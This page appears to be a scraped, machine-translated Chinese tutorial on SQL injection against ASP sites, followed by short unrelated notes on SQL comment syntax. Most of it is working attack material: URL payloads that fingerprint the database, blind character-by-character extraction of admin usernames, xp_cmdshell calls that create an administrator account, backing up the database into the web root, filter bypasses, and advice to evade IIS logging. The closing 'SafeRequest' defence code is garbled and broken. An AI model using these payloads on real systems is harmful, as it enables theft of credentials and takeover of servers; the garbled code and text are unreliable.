SQL注入检测与防范技巧解析
创始人
2025-01-10 04:32:18
0 次浏览
0 评论
什么是sql注入,如何实现注入?
如果提示找不到记录(判断rs.eof时),或者显示内容为空(程序添加错误summaryext),比较容易判断无法注入①也正常显示,②③一般有程序定义的错误信息,或者类型转换时出现错误。当然,这只是传入参数为数字类型时使用的评估方法。
实际应用中,会有字符类型和搜索类型参数。
我会在中间章节的“SQL注入的一般步骤”中进行分析。
第3部分.确定数据库类型和注入方法。
不同数据库的功能和注入方式是不同的,所以在注入之前,我们还需要判断数据库的类型。
一般来说,ASP使用最多的数据库是Access和SQLServer,互联网上99%以上的网站都是其中之一。
如何让程序告诉您它正在使用哪个数据库?我们来看一下:SQLServer有一些系统变量如果服务器的IIS提示符没有关闭,SQLServer返回错误信息,可以直接从错误信息中获取。
方法如下:http://www.mytest。
com/showdetail.asp?id=49;anduser>0这条语句很简单,但却包含了SQLServer独特的注入方式的精髓。
我也是在一次偶然的测试中发现了这种极其有效的猜测方法。
我看一下意思:首先前面的语句是正常的,重点是anduser>0,我们知道user是SQLServer中的一个内置变量,值为当前连接的用户名,类型为nvarchar。
将nvarchar值与int值0进行比较。
系统将首先尝试将nvarchar值转换为int类型。
当然,转换过程中会出现错误。
SQLServer错误消息是:将nvarchar值“abc”转换为数据类型当列是int,abc是变量user的值时,会发生语法错误。
在接下来的页面中,您将看到许多使用此方法的语句。
顺便说一句,众所周知,SQLServer所说的用户是与管理员具有相同权限的角色。
如果你获得了sa权限,你几乎肯定可以获得主机的admin权限。
通过上面的方法可以轻松测试是否使用sa登录。
需要注意的是,如果使用sa登录,提示的是“dbo”转换为int列时出错,而不是“sa”。
如果IIS服务器不允许返回错误消息,如何确定数据库类型?我们可以从Access和SQLServer之间的区别开始Access和SQLServer都有自己的系统表,例如存储数据库中所有对象的表。
访问是在系统表[msysobjects]环境中,会询问“无权限”,SQLServer是在表[sysobjects]中,在web环境下可以正常读取。
验证可以注入后,使用如下语句:http://www.mytest.com/showdetail.asp?id=49;and(selectcount(*)fromsysobjects)>0http://www.mytest.com/showdetail.asp?id=49;and(selectcount(*)frommsysobjects)>0如果数据库是SQLServer,则第一个URL的页面与原始页面大致相同http://www.mytest.com/showdetail.asp?id=49;URL,因为找不到msysobjects表,所以会提示错误。
虽然程序是容错的,但是页面会和原来的页面完全不同。
如果数据库使用Access,情况就不同了。
第一个URL的页面与第二个URL完全不同取决于数据库设置是否允许读取系统表,通常不允许与原始URL完全不同。
大多数情况下,您可以使用第一个URL来了解系统使用的数据库类型,而第二个URL仅用于在打开IIS错误消息时进行验证。
在先进的本章中,在入门章节中,我们学习了如何判断SQL注入,但是对于真正获取网站的机密内容还远远不够。
接下来我们继续学习如何从数据库中获取我们想要的内容我们首先看一下SQL注入的一般步骤:第1部分.SQL注入的一般步骤。
以及判断数据库Type,这个在入门章节已经讨论过。
其次,根据注入的参数类型,在你的脑海中重构出SQL语句的本来面目。
根据参数类型主要分为以下三种:(A)ID=49该类型注入参数为off。
SQL语句原貌大致如下:Select*fromtable_namewherefield=49注入的参数为ID=49And[查询条件],即生成的语句:Select*fromtable_namewherefield=49And[查询条件]](B)Class=该类型剧注入的参数为字符类型,原始SQL语句为大致轮廓如下:Select*fromtablenamewherefield='series'注入的参数为Class=series'and[查询条件]和''=',应该生成语句:Select*fromtablename。
wherefield='series'and[查询条件]and''=''©搜索时没有过滤参数,例如keywords=关键字,SQL语句原来是这样的:Select*fromtable_namewherefieldlike'%keyword%'注入的参数为keyword='and[查询条件]and'%25'=',即生成的语句:Select*fromtablenamewherefieldslike'%'and[查询条件]and'%'='%'然后将查询条件替换为SQL语句并猜测表名,例如:ID=49And(SelectCount(*)fromAdmin)>=0如果页面与ID=49相同则表示附加条件为真,即表Admin存在,否则不存在(记住这个方法)。
这个循环一直持续到表名被猜出为止。
猜出表名后,将Count(*)替换为Count(字段名),用同样的原理猜出字段名。
有人会说:这里有一些随机元素,如果表名很复杂、很不规则,那就没啥乐趣了。
你是对的。
这个世界上不存在100%成功的黑客技术。
苍蝇不咬无缝蛋。
不管黑客的技术多么高超,多么先进,都是因为别人的程序写得不严格或者用户的意识不强。
保密还不够,只有这样我们才能开始。
这有点题外话,也就是说,对于SQLServer库来说,还是有办法让程序告诉我们表名和字段名的。
我们将在高级章节中介绍。
最后猜出表名和列名后,使用SQL语句获取字段值。
这里介绍的是最常用的方法——Ascii逐字解码法,虽然这种方法很慢,但是绝对是可行的方法。
举个例子,已知Admin表中存在username字段。
首先我们取第一条记录,测试一下长度:http://www.mytest.com/showdetail.asp?id=49;and(.selecttop1len(username)fromAdmin)>0先解释一下原理:如果top1的username长度大于0,条件成立,然后>1、>2、>3依次测试,直到条件不成立成立且>8也不成立,即len(username)=8当然,没有人会愚蠢到从0、1、2、3开始一一测试。
如何更快地完成取决于每个人的表现。
获取用户名长度后,使用mid(username,N,1)截掉第N个字符,然后使用asc(mid(username,N,1))获取ASCII码,例如:id=49and(selecttop1asc(mid(username,1,1))fromAdmin)>0也是采用逐渐缩小范围的方法获取第一个字符的ASCII码。
注意英文和数字的ASCII码是在1-128之间的方法,以加快猜解速度,如果写成程序进行测试,效率会大大提高。
第二部分:常见的SQL注入特性具有SQL语言基础知识的人比不熟悉SQL语言的人在SQL注入中的成功率要高得多。
我们需要提高自己的SQL水平,尤其是一些常用的函数和命令。
访问:asc(字符)SQLServer:unicode(字符)功能:返回字符的ASCII码访问:chr(数字)SQLServer:nchar(数字)功能:与asc不同,根据ASCII码返回字符访问:mid(字符串,N,L)SQLServer:部分字符串(string,N,L)功能:返回从N个字符开始,长度为L的部分字符串String,即N到N+L之间的字符串访问:abc(number)SQLServer:abc(number)功能:返回数字的绝对值(猜汉字时使用)访问:ABetweenBAndCSQLServer:ABetweenBAndC功能:判断A是否在B和C之间有界。
第三节.中文处理方法It注射时遇到汉字是常事,有些人一遇到汉字就想退出。
其实,只要对中文编码有一定的了解,“中文恐惧症”就可以很快克服。
首先说一下常识:在Access中,中文ASCII码可以有负数。
取出负数后,用abs()取绝对值,汉字不会改变。
在SQLServer中,中文ASCII是正数,但由于它是UNICODE的两位数编码,所以不能使用ascii()函数获取ASCII码,unicode()函数返回unicode值,然后使用。
nchar-函数获取对应的汉字。
了解了以上两点之后,你觉得中文猜谜其实和英文类似吗?除了必须考虑到所使用的函数以及猜测的范围较大之外,方法并没有什么不同。
读完进阶章节的入门和进阶章节后,稍加练习,破解常规网站就不成问题了。
但如果表名和列名无法猜出,或者程序作者过滤掉了一些特殊字符,如何提高注入成功率呢?如何提高猜测效率?请继续阅读高级章节。
第1节:使用系统表注入SQLServer数据库SQLServer是一个功能强大的数据库系统,与操作系统密切相关。
这给开发者带来了很大的便利,但另一方面也提供了注入器作为跳板。
看一些具体的例子:①http://Sitee/url.asp?id=1;execmaster..xp_cmdshell"netusernamepassword/add"--SQLServer中的分号,表示分隔前后两条语句,---表示后面的语句是注释,所以这条语句在SQLServ中被拆分成两条语句来执行。
首先选择ID=1的记录,然后执行存储过程xp_cmdshell。
因此,使用net命令新建一个窗口输入用户名和密码,然后:②http://Site/url.asp?id=1;execmaster..xp_cmdshell"netlocalgroupnameadministrators/add"--添加新创建的帐户名到管理员组不到两分钟,你就获得了系统的最高权限!当然,这种方法只适用于使用sa连接数据库的情况。
否则没有权限调用xp_cmdshell。
③http://Site/url.asp?id=1;anddb_name()>0之前有一个类似的例子anduser>0,用于获取连接用户名db_name()是另一个系统变量,返回连接数据库名称。
④http://Site/url.asp?id=1;backupdatabase数据库名称todisk='c:\inetpub\wwwroot\1.db';--这个很残忍窍门③获取的数据库名称,加上一些IIS错误透露的绝对路径,将数据库备份到web目录下,使用HTTP完整下载整个数据库。
所有管理员和用户密码一目了然。
当不知道绝对路径时,也可以备份到网络地址(如\202.96.xx.xx\Share\1.db),但成功率不高。
⑤http://Site/url.asp?id=1;and(SelectTop1namefromsysobjectswherextype='U'andstatus>0)>0前面说过,sysobjects是SQLServer的系统表,里面存储了所有的表名、视图、约束和otherObject,xtype='U'andstatus>0,表示用户创建的表名。
上面的语句提取第一个表名,将其大小与0进行比较,然后让错误消息显示表名。
如何获取第二个和第三个表名?让我们聪明的读者思考一下。
⑥http://Site/url.asp?id=1;and(SelectTop1col_name(object_id('表名'),1)fromsysobjects)>0从⑤中获取表名后,使用object_id('表名')获取表名对应的内部ID,col_name(tablenameID,1)代表表的第一个字段名。
将1替换为2,3,4...即可一一获取猜测表中的字段名称。
。
以上6点是我半年多来研究SQLServer注入的结果。
可见,对SQLServer的了解程度直接影响猜测的成功率和速度。
学习了SQLServer注入后,我的开发水平也有了很大的提高哈哈,也许安全和开发是相辅相成的。
第二部分:绕过程序限制,继续注入正如介绍章节中提到的,很多人喜欢用“数字”来测试注入漏洞,因此很多人也采用过滤“数字”的方法来“预防”注入漏洞,这可能阻止了一些初学者,但熟悉SQL注入的人仍然可以使用相关功能来绕过应用程序限制。
在“SQL注入的一般步骤”一节中,我使用的语句经过我的优化,使其不包含“使用系统表注入SQLServer数据库”中的单引号,部分语句包含',我们举个例子看看如何转换这些语句:就像wherextype='U'一样简单,字符U.85对应的ASCII码,所以如果字符是,你可以使用wherextype=char(85)来代替中文,例如wherename='user',可以用wherename=nchar(29992)+nchar(25143)代替。
第三部分,经验总结1、有些人过滤Select、Update、Delete等关键字,但忘记区分大小写,可以用selectT试试。
2.当你猜不出字段名时,不妨看看网站上的登录表单。
一般情况下,为了简单起见,字段名称与表单中的输入框相同。
3、特别说明:地址栏中的+字符提交给程序后被解释为空格,%2B被解释为+字符,%25被解释为%字符。
具体参见URLEncode的相关介绍。
4.当你用Get方法注入时,IIS会记录你所有的提交字符串,但当你使用Post方法时不会记录,所以对于可以使用Post方法的URL尽量不要使用Get。
5、猜Access时只能使用Ascii逐字解码的方法。
此方法也可以与SQLServer一起用于公开该值,效果将是相同的。
预防方法SQL注入漏洞可以说是“千里之堤,却决于蚁穴”。
节目过滤不严格,或者忘记检查某个参数。
这里我给大家提供一个函数,可以替代ASP中的Request函数,可以将SayNO注入到所有的SQL中。
该函数就像如下:FunctionSafeRequest(ParaName,ParaType)'---传入参数---'ParaName:参数名字符。
Type'ParaType:参数类型-数字类型(1表示以上参数为数字,0表示以上参数为字符)DimParaValueParaValue=Requestst(ParaName)IfParaType=1thenIfnotisNumeric(ParaValue)thenResponse.write"Parameter"&ParaName&"必须是数字!"Response.endEndifElseParaValue=替换(ParaValue,"'",""''")Request=ParaFunktionEndifara
SQLServer中“--”注释和“//”注释有什么不一样?
--这是用于注释当前行,即h.只能注释一行。/*............*/用于对一段进行注释,即这条注释//
sql怎么写注释文档?
MySQL服务器支持#到行尾、--到行尾和/*行中间或多行*/注释字段:
SELECT1+1;#这条注释直到行尾SELECT1+1--这条注释直到行尾SELECT1/*这是一条注释中间的行*/+1;SELECT1+/*
这是一个
多行注释形式
*/
1;
注意:注释样式(双破折号)要求两个破折号后至少有两个连字符有一个空格!
虽然服务端理解了刚才描述的注释语法,但是MySQL客户端的解析仍然受限于/*...*/注释方法:
使用了单引号和双引号用引号标记字符串的开头,甚至在注释中也是如此。
如果注释中的引用未与另一个引用配对,则解析器不会认为注释完整。
如果你以交互方式运行mysql,你会感到困惑,因为mysql>提示符会变成'>或>。
分号用于表示当前SQL语句的结束,其上可以有任何指向的内容
无论您以交互方式运行mysql还是将命令粘贴到文件中并告诉mysql接受其输入,此限制都适用。
mysql
相关文章
SQL字符串截取技巧:提取特定部分与长度...
2024-12-16 03:01:37MySQL GROUP_CONCAT()...
2024-12-22 19:07:00MySQL官方实例数据库sakila:S...
2024-12-15 02:02:33高效SQL修改:用ManagementS...
2024-12-15 15:54:48掌握SQL UPDATE语句:高效修改数...
2024-12-15 03:31:44MySQL区间查询技巧:高效使用BETW...
2024-12-27 01:00:20MySQL数据库丢失怎么办?原因排查与数...
2024-12-16 08:27:14MySQL查询技巧:正确使用字段类型与引...
2025-01-08 13:56:36轻松导入TXT数据到MySQL:步骤详解...
2024-12-25 13:40:53SQL增删改查基础操作全解析,轻松掌握C...
2024-12-25 04:59:41最新文章
12
2025-01
12
2025-01
12
2025-01
12
2025-01
12
2025-01
12
2025-01
12
2025-01
12
2025-01
12
2025-01
12
2025-01
热门文章
1
Python代码实现:如何判断三角形的三...
python三角形三条边长,判断能否构成三角形Python三角形的三个长边如下:...
2
高效掌握:CMD命令轻松启动、关闭及登录...
如何用cmd命令快速启动和关闭mysql数据库服务开发中经常使用MySQL数据库...
3
SQL字段默认值设置全攻略:轻松实现自动...
sql如何设置字段默认值设置SQL中某个字段的默认值;需要遵循几个步骤。首先您需...
4
MySQL查询加速秘籍:PolarDB ...
mysql中in大量数据导致查询速度慢怎么优化?在MySQL中处理大量数据时,查...
5
SQL2000数据库备份压缩技巧:优化空...
怎么将SQL2000中的较大的备份数据库压缩变小更改数据库属性-选项-恢复模型很...
6
SQL字符串处理技巧:单引号使用与转义标...
SQL语句中,字符串类型的值均使用什么符号标明?单引号如果字符串内有单引号,请小...
7
Windows环境下Redis安装指南与...
redis安装windowsredis基本简介与安装安装Redis首先需要获取安...
8
深度解析:Redis性能优势与局限性,助...
redis有哪些优缺点?Redis的全称是RemoteDictionary.Se...
9
深入解析:MySQL数据库的特性与应用
mysql是什么MySQL是一个关系数据库管理系统。MySQL是一个开源关系数据...
10
SQL必备:详解常用字符串函数及数据类型...
sql常用的字符串函数都有哪些常用的字符串函数有:1.字符转换功能1.ASCII...